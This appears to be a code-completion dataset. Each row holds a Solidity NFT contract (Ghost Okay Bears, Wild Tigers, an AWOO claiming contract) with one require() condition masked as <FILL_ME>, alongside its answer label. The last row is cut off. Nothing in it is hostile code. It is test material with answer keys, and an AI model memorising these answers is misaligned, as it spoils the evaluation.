comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Allowlist Mode and Minting must be enabled to mint" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract GhostOkayBearsContract is
ERC1155,
Ownable,
Pausable,
ERC1155Supply,
Withdrawable,
Closeable,
isPriceable,
hasTransactionCap,
Allowlist
{
constructor() ERC1155('') {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
bytes private emptyBytes;
uint256 public currentTokenID = 0;
string public name = "Ghost Okay Bears";
string public symbol = "GOB";
mapping (uint256 => string) baseTokenURI;
/**
* @dev returns the URI for a specific token to show metadata on marketplaces
* @param _id the maximum supply of tokens for this token
*/
function uri(uint256 _id) public override view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
/////////////// Admin Mint Functions
function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner {
}
function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner {
}
/////////////// Public Mint Functions
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _id token id of collection
*/
function mintTo(uint256 _id) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
*/
function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused {
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required - required to have proof of AL*
* @param _id token id of collection
* @param _merkleProof merkle proof tree for sender
*/
function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused {
require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN");
require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!");
require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!");
require(<FILL_ME>)
require(isAllowlisted(msg.sender, _id, _merkleProof), "Address is not in Allowlist!");
_mint(msg.sender, _id, 1, emptyBytes);
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
* @param _merkleProof merkle proof tree for sender
*/
function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Creates a new primary token for contract and gives creator first token
* @param _tokenSupplyCap the maximum supply of tokens for this token
* @param _tokenTransactionCap maximum amount of tokens one can buy per tx
* @param _tokenFeeInWei payable fee per token
* @param _isOpenDefaultStatus can token be publically minted once created
* @param _allowTradingDefaultStatus is the token intially able to be transferred
* @param _tokenURI the token URI to the metadata for this token
*/
function createToken(
uint256 _tokenSupplyCap,
uint256 _tokenTransactionCap,
uint256 _tokenFeeInWei,
bool _isOpenDefaultStatus,
bool _allowTradingDefaultStatus,
string memory _tokenURI
) public onlyOwner {
}
/**
* @dev pauses minting for all tokens in the contract
*/
function pause() public onlyOwner {
}
/**
* @dev unpauses minting for all tokens in the contract
*/
function unpause() public onlyOwner {
}
/**
* @dev set the URI for a specific token on the contract
* @param _id token id
* @param _newTokenURI string for new metadata url (ex: ipfs://something)
*/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner {
}
/**
* @dev calculates price for a token based on qty
* @param _id token id
* @param _qty desired amount to mint
*/
function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) {
}
/**
* @dev prevent token from being transferred (aka soulbound)
* @param tokenId token id
*/
function setTokenUntradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev allow token from being transferred - the default mode
* @param tokenId token id
*/
function setTokenTradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev check if token id is tradeable
* @param tokenId token id
*/
function isTokenTradeable(uint256 tokenId) public view returns (bool) {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
}
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of currentTokenID
*/
function _incrementTokenTypeId() private {
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v1.0.0
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
| inAllowlistMode(_id)&&isMintingOpen(_id),"Allowlist Mode and Minting must be enabled to mint" | 229,510 | inAllowlistMode(_id)&&isMintingOpen(_id) |
"Address is not in Allowlist!" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract GhostOkayBearsContract is
ERC1155,
Ownable,
Pausable,
ERC1155Supply,
Withdrawable,
Closeable,
isPriceable,
hasTransactionCap,
Allowlist
{
constructor() ERC1155('') {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
bytes private emptyBytes;
uint256 public currentTokenID = 0;
string public name = "Ghost Okay Bears";
string public symbol = "GOB";
mapping (uint256 => string) baseTokenURI;
/**
* @dev returns the URI for a specific token to show metadata on marketplaces
* @param _id the maximum supply of tokens for this token
*/
function uri(uint256 _id) public override view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
/////////////// Admin Mint Functions
function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner {
}
function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner {
}
/////////////// Public Mint Functions
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _id token id of collection
*/
function mintTo(uint256 _id) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
*/
function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused {
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required - required to have proof of AL*
* @param _id token id of collection
* @param _merkleProof merkle proof tree for sender
*/
function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused {
require(exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN");
require(totalSupply(_id).add(1) <= getTokenSupplyCap(_id), "Cannot mint over supply cap of token!");
require(msg.value == getPrice(_id, 1), "Value needs to be exactly the mint fee!");
require(inAllowlistMode(_id) && isMintingOpen(_id), "Allowlist Mode and Minting must be enabled to mint");
require(<FILL_ME>)
_mint(msg.sender, _id, 1, emptyBytes);
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
* @param _merkleProof merkle proof tree for sender
*/
function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Creates a new primary token for contract and gives creator first token
* @param _tokenSupplyCap the maximum supply of tokens for this token
* @param _tokenTransactionCap maximum amount of tokens one can buy per tx
* @param _tokenFeeInWei payable fee per token
* @param _isOpenDefaultStatus can token be publically minted once created
* @param _allowTradingDefaultStatus is the token intially able to be transferred
* @param _tokenURI the token URI to the metadata for this token
*/
function createToken(
uint256 _tokenSupplyCap,
uint256 _tokenTransactionCap,
uint256 _tokenFeeInWei,
bool _isOpenDefaultStatus,
bool _allowTradingDefaultStatus,
string memory _tokenURI
) public onlyOwner {
}
/**
* @dev pauses minting for all tokens in the contract
*/
function pause() public onlyOwner {
}
/**
* @dev unpauses minting for all tokens in the contract
*/
function unpause() public onlyOwner {
}
/**
* @dev set the URI for a specific token on the contract
* @param _id token id
* @param _newTokenURI string for new metadata url (ex: ipfs://something)
*/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner {
}
/**
* @dev calculates price for a token based on qty
* @param _id token id
* @param _qty desired amount to mint
*/
function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) {
}
/**
* @dev prevent token from being transferred (aka soulbound)
* @param tokenId token id
*/
function setTokenUntradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev allow token from being transferred - the default mode
* @param tokenId token id
*/
function setTokenTradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev check if token id is tradeable
* @param tokenId token id
*/
function isTokenTradeable(uint256 tokenId) public view returns (bool) {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
}
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of currentTokenID
*/
function _incrementTokenTypeId() private {
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v1.0.0
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
| isAllowlisted(msg.sender,_id,_merkleProof),"Address is not in Allowlist!" | 229,510 | isAllowlisted(msg.sender,_id,_merkleProof) |
"Token URI cannot be an empty value" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract GhostOkayBearsContract is
ERC1155,
Ownable,
Pausable,
ERC1155Supply,
Withdrawable,
Closeable,
isPriceable,
hasTransactionCap,
Allowlist
{
constructor() ERC1155('') {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
bytes private emptyBytes;
uint256 public currentTokenID = 0;
string public name = "Ghost Okay Bears";
string public symbol = "GOB";
mapping (uint256 => string) baseTokenURI;
/**
* @dev returns the URI for a specific token to show metadata on marketplaces
* @param _id the maximum supply of tokens for this token
*/
function uri(uint256 _id) public override view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
/////////////// Admin Mint Functions
function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner {
}
function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner {
}
/////////////// Public Mint Functions
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _id token id of collection
*/
function mintTo(uint256 _id) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
*/
function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused {
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required - required to have proof of AL*
* @param _id token id of collection
* @param _merkleProof merkle proof tree for sender
*/
function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
* @param _merkleProof merkle proof tree for sender
*/
function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Creates a new primary token for contract and gives creator first token
* @param _tokenSupplyCap the maximum supply of tokens for this token
* @param _tokenTransactionCap maximum amount of tokens one can buy per tx
* @param _tokenFeeInWei payable fee per token
* @param _isOpenDefaultStatus can token be publically minted once created
* @param _allowTradingDefaultStatus is the token intially able to be transferred
* @param _tokenURI the token URI to the metadata for this token
*/
function createToken(
uint256 _tokenSupplyCap,
uint256 _tokenTransactionCap,
uint256 _tokenFeeInWei,
bool _isOpenDefaultStatus,
bool _allowTradingDefaultStatus,
string memory _tokenURI
) public onlyOwner {
require(_tokenSupplyCap > 0, "Token Supply Cap must be greater than zero.");
require(_tokenTransactionCap > 0, "Token Transaction Cap must be greater than zero.");
require(<FILL_ME>)
uint256 tokenId = _getNextTokenID();
_mint(msg.sender, tokenId, 1, emptyBytes);
baseTokenURI[tokenId] = _tokenURI;
setTokenSupplyCap(tokenId, _tokenSupplyCap);
setPriceForToken(tokenId, _tokenFeeInWei);
setTransactionCapForToken(tokenId, _tokenTransactionCap);
setInitialMintingStatus(tokenId, _isOpenDefaultStatus);
tokenTradingStatus[tokenId] = _allowTradingDefaultStatus ? 255 : 1;
_incrementTokenTypeId();
}
/**
* @dev pauses minting for all tokens in the contract
*/
function pause() public onlyOwner {
}
/**
* @dev unpauses minting for all tokens in the contract
*/
function unpause() public onlyOwner {
}
/**
* @dev set the URI for a specific token on the contract
* @param _id token id
* @param _newTokenURI string for new metadata url (ex: ipfs://something)
*/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner {
}
/**
* @dev calculates price for a token based on qty
* @param _id token id
* @param _qty desired amount to mint
*/
function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) {
}
/**
* @dev prevent token from being transferred (aka soulbound)
* @param tokenId token id
*/
function setTokenUntradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev allow token from being transferred - the default mode
* @param tokenId token id
*/
function setTokenTradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev check if token id is tradeable
* @param tokenId token id
*/
function isTokenTradeable(uint256 tokenId) public view returns (bool) {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
}
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of currentTokenID
*/
function _incrementTokenTypeId() private {
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v1.0.0
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
| bytes(_tokenURI).length>0,"Token URI cannot be an empty value" | 229,510 | bytes(_tokenURI).length>0 |
"Token ID is already untradeable!" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract GhostOkayBearsContract is
ERC1155,
Ownable,
Pausable,
ERC1155Supply,
Withdrawable,
Closeable,
isPriceable,
hasTransactionCap,
Allowlist
{
constructor() ERC1155('') {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
bytes private emptyBytes;
uint256 public currentTokenID = 0;
string public name = "Ghost Okay Bears";
string public symbol = "GOB";
mapping (uint256 => string) baseTokenURI;
/**
* @dev returns the URI for a specific token to show metadata on marketplaces
* @param _id the maximum supply of tokens for this token
*/
function uri(uint256 _id) public override view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
/////////////// Admin Mint Functions
function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner {
}
function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner {
}
/////////////// Public Mint Functions
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _id token id of collection
*/
function mintTo(uint256 _id) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
*/
function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused {
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required - required to have proof of AL*
* @param _id token id of collection
* @param _merkleProof merkle proof tree for sender
*/
function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
* @param _merkleProof merkle proof tree for sender
*/
function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Creates a new primary token for contract and gives creator first token
* @param _tokenSupplyCap the maximum supply of tokens for this token
* @param _tokenTransactionCap maximum amount of tokens one can buy per tx
* @param _tokenFeeInWei payable fee per token
* @param _isOpenDefaultStatus can token be publically minted once created
* @param _allowTradingDefaultStatus is the token intially able to be transferred
* @param _tokenURI the token URI to the metadata for this token
*/
function createToken(
uint256 _tokenSupplyCap,
uint256 _tokenTransactionCap,
uint256 _tokenFeeInWei,
bool _isOpenDefaultStatus,
bool _allowTradingDefaultStatus,
string memory _tokenURI
) public onlyOwner {
}
/**
* @dev pauses minting for all tokens in the contract
*/
function pause() public onlyOwner {
}
/**
* @dev unpauses minting for all tokens in the contract
*/
function unpause() public onlyOwner {
}
/**
* @dev set the URI for a specific token on the contract
* @param _id token id
* @param _newTokenURI string for new metadata url (ex: ipfs://something)
*/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner {
}
/**
* @dev calculates price for a token based on qty
* @param _id token id
* @param _qty desired amount to mint
*/
function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) {
}
/**
* @dev prevent token from being transferred (aka soulbound)
* @param tokenId token id
*/
function setTokenUntradeable(uint256 tokenId) public onlyOwner {
require(<FILL_ME>)
require(exists(tokenId), "Token ID does not exist!");
tokenTradingStatus[tokenId] = 1;
}
/**
* @dev allow token from being transferred - the default mode
* @param tokenId token id
*/
function setTokenTradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev check if token id is tradeable
* @param tokenId token id
*/
function isTokenTradeable(uint256 tokenId) public view returns (bool) {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
}
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of currentTokenID
*/
function _incrementTokenTypeId() private {
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v1.0.0
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
| tokenTradingStatus[tokenId]!=1,"Token ID is already untradeable!" | 229,510 | tokenTradingStatus[tokenId]!=1 |
"Token ID is already tradeable!" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract GhostOkayBearsContract is
ERC1155,
Ownable,
Pausable,
ERC1155Supply,
Withdrawable,
Closeable,
isPriceable,
hasTransactionCap,
Allowlist
{
constructor() ERC1155('') {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 1;
bytes private emptyBytes;
uint256 public currentTokenID = 0;
string public name = "Ghost Okay Bears";
string public symbol = "GOB";
mapping (uint256 => string) baseTokenURI;
/**
* @dev returns the URI for a specific token to show metadata on marketplaces
* @param _id the maximum supply of tokens for this token
*/
function uri(uint256 _id) public override view returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
/////////////// Admin Mint Functions
function mintToAdmin(address _address, uint256 _id, uint256 _qty) public onlyOwner {
}
function mintManyAdmin(address[] memory addresses, uint256 _id, uint256 _qtyToEach) public onlyOwner {
}
/////////////// Public Mint Functions
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _id token id of collection
*/
function mintTo(uint256 _id) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
*/
function mintToMultiple(uint256 _id, uint256 _qty) public payable whenNotPaused {
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required - required to have proof of AL*
* @param _id token id of collection
* @param _merkleProof merkle proof tree for sender
*/
function mintToAL(uint256 _id, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Mints a number of tokens to a single address.
* fee may or may not be required*
* @param _id token id of collection
* @param _qty amount to mint
* @param _merkleProof merkle proof tree for sender
*/
function mintToMultipleAL(uint256 _id, uint256 _qty, bytes32[] calldata _merkleProof) public payable whenNotPaused {
}
/**
* @dev Creates a new primary token for contract and gives creator first token
* @param _tokenSupplyCap the maximum supply of tokens for this token
* @param _tokenTransactionCap maximum amount of tokens one can buy per tx
* @param _tokenFeeInWei payable fee per token
* @param _isOpenDefaultStatus can token be publically minted once created
* @param _allowTradingDefaultStatus is the token intially able to be transferred
* @param _tokenURI the token URI to the metadata for this token
*/
function createToken(
uint256 _tokenSupplyCap,
uint256 _tokenTransactionCap,
uint256 _tokenFeeInWei,
bool _isOpenDefaultStatus,
bool _allowTradingDefaultStatus,
string memory _tokenURI
) public onlyOwner {
}
/**
* @dev pauses minting for all tokens in the contract
*/
function pause() public onlyOwner {
}
/**
* @dev unpauses minting for all tokens in the contract
*/
function unpause() public onlyOwner {
}
/**
* @dev set the URI for a specific token on the contract
* @param _id token id
* @param _newTokenURI string for new metadata url (ex: ipfs://something)
*/
function setTokenURI(uint256 _id, string memory _newTokenURI) public onlyOwner {
}
/**
* @dev calculates price for a token based on qty
* @param _id token id
* @param _qty desired amount to mint
*/
function getPrice(uint256 _id, uint256 _qty) public view returns (uint256) {
}
/**
* @dev prevent token from being transferred (aka soulbound)
* @param tokenId token id
*/
function setTokenUntradeable(uint256 tokenId) public onlyOwner {
}
/**
* @dev allow token from being transferred - the default mode
* @param tokenId token id
*/
function setTokenTradeable(uint256 tokenId) public onlyOwner {
require(<FILL_ME>)
require(exists(tokenId), "Token ID does not exist!");
tokenTradingStatus[tokenId] = 255;
}
/**
* @dev check if token id is tradeable
* @param tokenId token id
*/
function isTokenTradeable(uint256 tokenId) public view returns (bool) {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155, ERC1155Supply)
{
}
function _getNextTokenID() private view returns (uint256) {
}
/**
* @dev increments the value of currentTokenID
*/
function _incrementTokenTypeId() private {
}
}
//*********************************************************************//
//*********************************************************************//
// Rampp v1.0.0
//
// This smart contract was generated by rampp.xyz.
// Rampp allows creators like you to launch
// large scale NFT communities without code!
//
// Rampp is not responsible for the content of this contract and
// hopes it is being used in a responsible and kind way.
// Rampp is not associated or affiliated with this project.
// Twitter: @Rampp_ ---- rampp.xyz
//*********************************************************************//
//*********************************************************************//
| tokenTradingStatus[tokenId]!=255,"Token ID is already tradeable!" | 229,510 | tokenTradingStatus[tokenId]!=255 |
"Address already whitelisted" | pragma solidity ^0.8.0;
contract WildTigers is DefaultOperatorFilterer, ERC721Psi, Ownable {
uint256 public constant PUBLIC_MINT_PRICE = 0.025 ether;
uint256 public constant WHITELIST_MINT_PRICE = 0.015 ether;
uint256 public constant MAX_SUPPLY = 4444;
string public baseURI =
"ipfs://QmfLrkxkP32pcJF2ozyQNSDWjyf9eFw3xhFY6eqUJgpcLo/";
uint256 public mintStartTime = 1690761600; // July 31 2023 00:00:00 GMT
mapping(address => uint) public whitelistedAddresses;
constructor() ERC721Psi("Wild Tigers", "WLDT") {}
function mint(uint256 _mintAmount) public payable {
}
function setMintStartTime(uint256 _mintStartTime) public onlyOwner {
}
function addToWhitelist(address[] calldata _whitelister) public onlyOwner {
for (uint256 i = 0; i < _whitelister.length; i++) {
require(<FILL_ME>)
whitelistedAddresses[_whitelister[i]] = 1;
}
}
function removeFromWhitelist(
address[] calldata _whitelister
) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal pure virtual override returns (uint256) {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| whitelistedAddresses[_whitelister[i]]==0,"Address already whitelisted" | 229,519 | whitelistedAddresses[_whitelister[i]]==0 |
"Address not present in whitelist" | pragma solidity ^0.8.0;
contract WildTigers is DefaultOperatorFilterer, ERC721Psi, Ownable {
uint256 public constant PUBLIC_MINT_PRICE = 0.025 ether;
uint256 public constant WHITELIST_MINT_PRICE = 0.015 ether;
uint256 public constant MAX_SUPPLY = 4444;
string public baseURI =
"ipfs://QmfLrkxkP32pcJF2ozyQNSDWjyf9eFw3xhFY6eqUJgpcLo/";
uint256 public mintStartTime = 1690761600; // July 31 2023 00:00:00 GMT
mapping(address => uint) public whitelistedAddresses;
constructor() ERC721Psi("Wild Tigers", "WLDT") {}
function mint(uint256 _mintAmount) public payable {
}
function setMintStartTime(uint256 _mintStartTime) public onlyOwner {
}
function addToWhitelist(address[] calldata _whitelister) public onlyOwner {
}
function removeFromWhitelist(
address[] calldata _whitelister
) public onlyOwner {
for (uint256 i = 0; i < _whitelister.length; i++) {
require(<FILL_ME>)
whitelistedAddresses[_whitelister[i]] = 0;
}
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal pure virtual override returns (uint256) {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| whitelistedAddresses[_whitelister[i]]>0,"Address not present in whitelist" | 229,519 | whitelistedAddresses[_whitelister[i]]>0 |
"No supported tokens held" | pragma solidity 0.8.12;
pragma experimental ABIEncoderV2;
interface ISupportedContract {
function tokensOfOwner(address owner) external view returns (uint256[] memory);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function exists(uint256 tokenId) external view returns (bool);
}
contract AwooClaiming is IAwooClaiming, Ownable, ReentrancyGuard {
uint256 public accrualStart = 1646006400; //2022-02-28 00:00 UTC
uint256 public accrualEnd;
bool public claimingActive;
/// @dev A collection of supported contracts. These are typically ERC-721, with the addition of the tokensOfOwner function.
/// @dev These contracts can be deactivated but cannot be re-activated. Reactivating can be done by adding the same
/// contract through addSupportedContract
SupportedContractDetails[] public supportedContracts;
/// @dev Keeps track of the last time a claim was made for each tokenId within the supported contract collection
mapping(address => mapping(uint256 => uint256)) public lastClaims;
/// @dev Allows the base accrual rates to be overridden on a per-tokenId level to support things like upgrades
mapping(address => mapping(uint256 => uint256)) public baseRateTokenOverrides;
address[2] private _admins;
bool private _adminsSet;
IAwooToken private _awooContract;
/// @dev Base accrual rates are set a per-day rate so we change them to per-minute to allow for more frequent claiming
uint64 private _baseRateDivisor = 1440;
/// @dev Faciliates the maintence and functionality related to supportedContracts
uint8 private _activeSupportedContractCount;
mapping(address => uint8) private _supportedContractIds;
/// @dev Keeps track of which contracts are explicitly allowed to override the base accrual rates
mapping(address => bool) private _authorizedContracts;
event TokensClaimed(address indexed claimedBy, uint256 qty);
event ClaimingStatusChanged(bool newStatus, address changedBy);
event AuthorizedContractAdded(address contractAddress, address addedBy);
event AuthorizedContractRemoved(address contractAddress, address removedBy);
constructor(uint256 accrualStartTimestamp) {
}
/// @notice Determines the amount of accrued virtual AWOO for the specified address, based on the
/// base accural rates for each supported contract and how long has elapsed (in minutes) since the
/// last claim was made for a give supported contract tokenId
/// @param owner The address of the owner/holder of tokens for a supported contract
/// @return A collection of accrued virtual AWOO and the tokens it was accrued on for each supported contract, and the total AWOO accrued
function getTotalAccruals(address owner) public view returns (AccrualDetails[] memory, uint256) {
}
/// @notice Claims all virtual AWOO accrued by the message sender, assuming the sender holds any supported contracts tokenIds
function claimAll() external nonReentrant {
require(claimingActive, "Claiming is inactive");
require(<FILL_ME>)
(AccrualDetails[] memory accruals, uint256 totalAccrued) = getTotalAccruals(_msgSender());
require(totalAccrued > 0, "No tokens have been accrued");
for(uint8 i = 0; i < accruals.length; i++){
AccrualDetails memory accrual = accruals[i];
if(accrual.TotalAccrued > 0){
for(uint16 x = 0; x < accrual.TokenIds.length;x++){
// Update the time that this token was last claimed
lastClaims[accrual.ContractAddress][accrual.TokenIds[x]] = block.timestamp;
}
}
}
// A holder's virtual AWOO balance is stored in the $AWOO ERC-20 contract
_awooContract.increaseVirtualBalance(_msgSender(), totalAccrued);
emit TokensClaimed(_msgSender(), totalAccrued);
}
/// @notice Claims the accrued virtual AWOO from the specified supported contract tokenIds
/// @param requestedClaims A collection of supported contract addresses and the specific tokenIds to claim from
function claim(ClaimDetails[] calldata requestedClaims) external nonReentrant {
}
/// @dev Calculates the accrued amount of virtual AWOO for the specified supported contract and tokenId
function getContractTokenAccruals(address contractAddress, uint256 contractBaseRate, uint32 tokenId) private view returns(uint256){
}
/// @notice Allows an authorized contract to increase the base accrual rate for particular NFTs
/// when, for example, upgrades for that NFT were purchased
/// @param contractAddress The address of the supported contract
/// @param tokenId The id of the token from the supported contract whose base accrual rate will be updated
/// @param newBaseRate The new accrual base rate
function overrideTokenAccrualBaseRate(address contractAddress, uint32 tokenId, uint256 newBaseRate)
external onlyAuthorizedContract isValidBaseRate(newBaseRate) {
}
/// @notice Allows the owner or an admin to set a reference to the $AWOO ERC-20 contract
/// @param awooToken An instance of IAwooToken
function setAwooTokenContract(IAwooToken awooToken) external onlyOwnerOrAdmin {
}
/// @notice Allows the owner or an admin to set the date and time at which virtual AWOO accruing will stop
/// @notice This will only be used if absolutely necessary and any AWOO that accrued before the end date will still be claimable
/// @param timestamp The Epoch time at which accrual should end
